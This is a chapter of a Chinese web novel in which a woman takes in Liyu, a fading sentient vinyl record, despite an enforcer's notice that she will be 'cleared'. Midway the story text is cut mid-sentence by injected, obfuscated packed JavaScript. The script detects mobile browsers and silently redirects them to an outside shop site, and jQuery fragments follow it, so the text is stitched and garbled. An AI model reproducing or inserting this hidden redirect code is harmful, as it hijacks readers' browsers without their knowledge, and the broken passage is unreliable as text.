梨枝搬进来的第三天，有人敲门。
不是那种礼貌的敲法，咚咚咚，三下，节奏均匀。是那种很平的敲法，两下，不轻不重，像在按一个按钮。
沈鹿栖去开门。门口站着一个人，灰色外套，外套有点大，肩膀那里塌下来一块，袖子长出来一截，盖住了半个手背。他手里拿着一只怀表，圆圆的，金色的，盖子合着。是那天在巷子口站着的那个人。
他没有笑，没有打招呼，没有说"你好"或者"打扰了"。他只是站在那里，从口袋里拿出一张纸，递过来。纸折了两下，折痕很整齐，像用尺子量过。
沈鹿栖接过纸，打开，看了一眼。
纸上写着几行字。字迹很工整，一笔一划的，每个字的大小都差不多，像打印出来的，但仔细看能看到笔锋，是手写的。
第一行写着：眠物编号：0078-梨枝。
第二行写着：本体：黑胶唱片，1960年代，未发行。
第三行写着：主人状态：已故，10年。
第四行写着：褪色程度：临界值以上。
第五行写着：处置建议：清除。
沈鹿栖看完纸，抬头看他。
"什么叫清除？"
"就是消失。"他的声音很平，没有起伏，像一汪没有风的水。"褪色到临界值以上的眠物会失控。它们的记忆模糊以后，会对周围的人类产生影响。轻则失眠，重则记忆混乱。"
他停了一下。
"我是保护人的。"
我站在客厅里，扒着门框，探头往外看。我能看到那个人的侧脸，很瘦，颧骨很高，嘴唇薄薄的，抿成一条线。他的皮肤很白，不是荞麦那种暖白，是一种没有血色的白，像很久没有晒过太阳。
沈鹿栖把那张纸折了一下，又折了一下，放在门口的鞋柜上。鞋柜上还放着她的钥匙和一包纸巾，纸放在钥匙旁边，像多了一张收据。
"我收留她。"
那个人看了她一眼。目光从沈鹿栖的脸上移到我身上，停了一秒。他的眼睛颜色很浅，灰的，像阴天的天空。
"那只也没有登记。"他指了我一下。手指很细，指甲剪得很短，指尖的皮肤有一点发红，像刚洗过手。"你打算收留几只？"
"关你什么事。"
他的表情没变。收起怀表，揣进口袋，转身走了。他走路的时候脚步很轻，几乎没有声音，像踩在棉花上。走到楼梯口的时候，他停了一下，没回头。
"一个月。一个月以内，找到登记的主人。否则强制执行。"
他的声音从楼梯口传过来，在楼道里回荡了一下。楼道的墙壁是水泥的，声音碰到水泥弹回来，变得硬硬的。
脚步声往下了。一级一级的，越来越远，最后消失了。消失以后，楼道里只剩下灯管嗡嗡的声音。
沈鹿栖关上门。
门锁咔哒响了一声。
---
"什么叫登记？"我问。
沈鹿栖把那张纸从鞋柜上拿起来，递给我和梨枝。梨枝接过去，看了一遍。她的表情没变，像在看一张过期的优惠券，上面的折扣已经没有了，但纸还在。她看的速度很快，大概三秒钟就看完了。
"清除就清除。"她把纸放在茶几上。纸落在茶几上发出很轻的一声响，像一片叶子落在水面上。"无所谓。"
沈鹿栖看着她。
"你不想活了？"
梨枝笑了一下。那个笑带着底噪，像唱针划过唱片表面的空白区域，沙沙的。她的嘴角往上翘了一点，但眼睛没有跟着笑，眼睛还是冷的。
"活？"她低头看了看自己的手。手指的纹路比前几天更模糊了，像被水泡过的纸，字还在，但墨迹洇开了。指甲盖上的纹路也淡了，以前能看到一圈一圈的，现在看不清了。"我是唱片。我存在的意义就是被放出来。他已经不在了，没有人放我了。我存在不存在，有什么区别？"
"可是你还有记忆……"我小声说。
"记忆也快没了。"梨枝把手翻过来，看手心。手心的纹路也淡了，像被橡皮擦过的铅笔字。"我已经忘了他长什么样子了。以前我记得他穿什么衣服、戴什么眼镜、吹萨克斯的时候嘴唇是什么形状。现在都不记得了。我只记得他打呼噜很大声。"
我看着她的手。那些模糊的纹路让我想起自己。我也在忘。我也忘了一些东西。但那些东西以前是什么，我不知道，所以我不确定我到底忘了什么。也许我忘的是一些很重要的东西，也许只是一些无关紧要的。我不知道。
梨枝不一样。她记得自己以前记得什么，现在忘了。那种"知道自己在忘"的感觉，比我更难受。就像你手里原来握着什么东西，现在你低头一看，手空了，你知道你丢了东西，但你不记得丢的是什么。
沈鹿栖走到梨枝面前，蹲下来。她蹲下去的时候膝盖发出了一声响，很小的咔的一声。她的膝盖不太好，蹲下去的时候总是会响。
"你跟我住。"她说。
梨枝看着她。"为什么？"
"因为你没有别的地方去。"
"这不是理由。"
沈鹿栖没站起来，蹲在那里，手搭在膝盖上。她想了很久。我能感觉到她在想，她的嘴唇动了几下，像在心里试了好几个答案，都不满意。她的手指在膝盖上轻轻敲着，一下一下的，像在打拍子。
最后她说了。
"因为你每天晚上放的那首曲子。我听到了。我觉得……我需要听到。"
梨枝的眼神动了一下。
不是很大的变化。只是眼睛里的光变了一点点，像有人在很远的地方点了一根火柴。火柴的光很小，小到几乎看不到，但你知道它在。
她没有说好，也没有说不好。她把目光从沈鹿栖脸上移开，看向茶几上那张纸。纸上的字她刚才已经看过了，但她又看了一遍。
然后她站起来，走到门口，拿起自己的那台小唱机。
"走吧。"
---
那天晚上，沈鹿栖家多了一个住户。
床不够大，三个人睡不下。梨枝说她不需要床。
"唱片不需要睡觉。"她坐在客厅的沙发上，面前摆着那台从旧店里带来的小唱机。唱机的木头外壳在灯光下发亮，边角磨圆了，有一道很深的划痕。"唱片只需要被放出来。"
"放出来是什么意思？"荞麦问。
"就是有人听。"梨枝的手搭在唱机的盖子上，手指在划痕上轻轻划了一下。"有人听的时候，我就在。没人听的时候，我也在，但不知道自己在。"
荞麦歪头想了想。"那和枕头一样。有人枕的时候我就醒着，没人枕的时候我就睡着。"
"不一样。"梨枝的声音底噪轻了一点。"你被枕着的时候能感觉到人。我被放着的时候只能感觉到声音。声音走了以后，什么都留不下。"
我躺在床上，听着她们说话。荞麦躺在我旁边，很自然地往我那边靠了靠，肩膀贴着肩膀。她没有躲开，我也没有躲开。
"沈鹿栖。"
"嗯。"
"你为什么要收留她？"
我盯着天花板。天花板上有一条裂
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814711|211004||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
缝，从灯的位置延伸到窗户的方向。我经常看那条裂缝。裂缝的形状像一条河，从源头流到入海口，弯弯曲曲的。
"不知道。"
"不知道就收留了？"
"嗯。"
荞麦把这个答案在脑子里转了几圈。我能感觉到她在转，她的头微微歪着，眼睛往左上方看了一眼，又看回来。
"不知道"不是一个能让人理解的理由。但沈鹿栖经常用"不知道"来回答我的问题。她买我的时候不知道为什么，她收留梨枝的时候不知道为什么。也许人类做很多事都不知道为什么。也许"不知道"就是一种理由。
客厅传来很轻的声音。梨枝在放唱片。声音调得很低，低到我必须竖起耳朵才能听到。但旋律顺着门缝漏进来，在黑暗的卧室里散开，像水渗进沙子里。
那首摇篮曲。
慢的。暖的。像一个人在深夜的房间里走来走去。
沈鹿栖闭上了眼睛。
她闭眼睛的时候，眼皮底下没有在动。以前她闭眼的时候眼球会转，像在看什么东西。医院的白色床单，输液管，心电监护仪。那些东西在她眼皮底下转来转去，让她睡不着。
这次没有。
她的呼吸变深了一点。只深了一点点，从嗓子眼里的浅呼吸变成了胸腔里的呼吸。胸腔起伏的幅度大了一点点，像水面从涟漪变成了小浪。
她还是没有睡着。但她闭上眼睛了。而且这次闭得很安静。
我的嘴角动了一下。
"你在笑吗？"我问。
"没有。"
"你刚才嘴角动了。"
"那是抽筋。"
我盯着她看了一会儿。她的侧脸在黑暗里只能看到一个轮廓，鼻子的弧线、嘴唇的线条、下巴的尖。她的睫毛很长，闭着眼睛的时候在脸上投了一小片阴影。阴影的形状像两把小扇子。
我把自己的肩膀往她的方向又挪了一点点。只挪了一点点，肩膀贴得更紧了。
"你笑起来好看。"
她没回答。
但她没有把肩膀挪开。
客厅的摇篮曲还在放。旋律到了最后那一段，那个男人的声音出来了，低低的，气声，对着一个已经不在的孩子。
"等你睡着。"
沈鹿栖的呼吸又深了一点。
我不知道她有没有听到那四个字。但她的手指动了一下，从攥着被子边角变成松开了，平放在被子上。手指的指甲在被子的布料上轻轻碰了一下，像在摸什么很轻很轻的东西。
窗外的路灯亮着。橙色的光从窗帘缝隙里漏进来，落在地板上，画了一条细细的线。
那条线从地板爬到了床脚。
我看着那条线，看着它慢慢地移动。很慢很慢。光线的边缘是模糊的，像水墨画里晕开的笔触。
沈鹿栖的呼吸变得很均匀。很浅，但均匀。
她可能睡着了。可能没有。
但她的手放在被子上，没有攥着。
我闭上了眼睛。
摇篮曲还在放。
"等你睡着。"
窗外的路灯还亮着。橙色的光从窗帘缝隙里漏进来，在地板上画了一条细细的线。那条线慢慢地移动，从床脚爬到了床中间。
客厅里，梨枝坐在沙发上，面前摆着唱机。唱针在唱片上转，一圈一圈的。她的手搭在唱机的盖子上，手指跟着节奏轻轻敲，咚咚咚，每一下都很轻。
她的表情没什么变化。但她的眼睛闭着。
唱片在转。摇篮曲在放。
"等你睡着。"